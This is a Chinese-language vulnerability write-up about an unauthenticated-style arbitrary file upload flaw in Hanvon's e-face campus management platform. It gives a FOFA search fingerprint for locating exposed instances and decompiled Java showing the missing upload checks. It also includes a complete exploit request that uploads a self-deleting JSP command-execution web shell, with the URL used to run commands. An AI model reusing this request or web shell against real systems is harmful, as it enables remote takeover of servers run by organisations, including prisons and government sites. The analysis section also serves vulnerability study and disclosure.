汉王e脸通综合管理平台 mobiMeetingApp/uploadMeetingFile.do 任意文件上传漏洞


漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 mobiMeetingApp/uploadMeetingFile.do 接口存在任意文件上传漏洞。攻击者可在无需认证的情况下,通过向该接口上传恶意文件,实现任意文件上传,进而可能导致远程代码执行或服务器被控制,严重威胁系统安全。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

看下 MobiMeetingAppController 的关于 mobiMeetingApp/uploadMeetingFile.do 的实现

@ResponseBody
    @RequestMapping(
        value = {"uploadMeetingFile.do"},
        method = {RequestMethod.POST}
    )
    public MethodResult uploadMeetingFile(HttpServletRequest request, @RequestHeader(required = false,value = "token") String token) {
        new MethodResult();
        MethodResult rst = this.getTokenUser(token);
        if (rst.isSuccess()) {
            UserTpm user = (UserTpm)rst.getResult();

            MethodResult methodResult;
            try {
                String fileName = null;
                String fileType = null;
                if (!ServletFileUpload.isMultipartContent(request)) {
                    methodResult = MethodResult.errorResult("网络错误!");
                    return methodResult;
                }

                MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request;
                Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();
                String uploadPath = null;

                for(Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {
                    MultipartFile mf = (MultipartFile)entity.getValue();
                    if (!mf.isEmpty()) {
                        String fileTypeStr = mf.getOriginalFilename();
                        String fileId = UUID.randomUUID().toString().replace("-", "");
                        fileName = fileTypeStr.split("\\.")[0];
                        fileType = fileTypeStr.split("\\.")[1];
                        String path = request.getSession().getServletContext().getRealPath("/resource");
                        File tmpFile = new File(path);
                        if (!tmpFile.exists()) {
                            tmpFile.mkdir();
                        }

                        uploadPath = path + "/" + fileId + "." + fileType;
                        File targetFile = new File(uploadPath);
                        logger.error("文件存储地址测试" + uploadPath);
                        Files.copy(mf.getInputStream(), targetFile.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
                        uploadPath = fileId + "." + fileType;
                        fileName = fileName + "." + fileType;
                    }
                }

                Map<String, Object> map = new HashMap();
                map.put("fileName", fileName);
                map.put("fileType", fileType);
                map.put("path", uploadPath);
                methodResult = MethodResult.successResult(map, "上传成功!");

跟进 uploadMeetingFile ,重点看下

public void uploadMeetingFile(HttpServletRequest request, VisitorMapTpm visitorMapTpm) throws IOException {
    String updatedPhoto = visitorMapTpm.getUpdatedPhoto();
    String fileId = UUID.randomUUID().toString().replace("-", "");
    String fileType = visitorMapTpm.getFileType();
    String path = request.getSession().getServletContext().getRealPath("/resource");
    String savePath = path + "\\" + fileId + "." + fileType;
    GetPhoto.generateImageByBase64(updatedPhoto, savePath);
    String uploadPath = fileId + "." + fileType;
    visitorMapTpm.setUpdatedPhotoPath(uploadPath);
    visitorMapTpm.setModifyTime(DateUtils.getDate());
    this.visMapConfigDsm.updateVisitorMap(visitorMapTpm);
    if (visitorMapTpm.getVisMapSignTpmList() != null) {
        List<VisMapSignTpm> visMapSignTpmList = visitorMapTpm.getVisMapSignTpmList();
        if (visMapSignTpmList != null) {
            Long mapId = visitorMapTpm.getId();
            this.visMapSignDsm.deleteByPrimaryKey(mapId);

            for(VisMapSignTpm visMapSignTpm : visMapSignTpmList) {
                visMapSignTpm.setNgMapId(mapId);
                visMapSignTpm.setMapState(visitorMapTpm.getMapState());
                visMapSignTpm.setIdDevClass(visMapSignTpm.getId() + "@" + visMapSignTpm.getDeviceClass());
                this.visMapSignDsm.insertVisMapSignTpm(visMapSignTpm);
            }
        }
    }

}

直接保存文件到 resource 目录,全程无过滤和校验,造成任意文件上传漏洞。

漏洞复现

需要一个合法的 token,参考 wxLogin.do 信息泄露获取

POST /manage/mobiMeetingApp/uploadMeetingFile.do HTTP/1.1
Host: hanvon.mrxn.net
token: xxxxxxx获取的token
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj

------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg

<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryFfJZ4PlAZBixjELj--

访问文件执行命令 /manage/resource/xxxxx.jsp?cmd=whoami

成功得到 whoami 命令执行结果


手机扫码阅读

美特CRM headimgsave SQL注入漏洞

美特CRM mobileupload.jsp 任意文件上传漏洞

评 论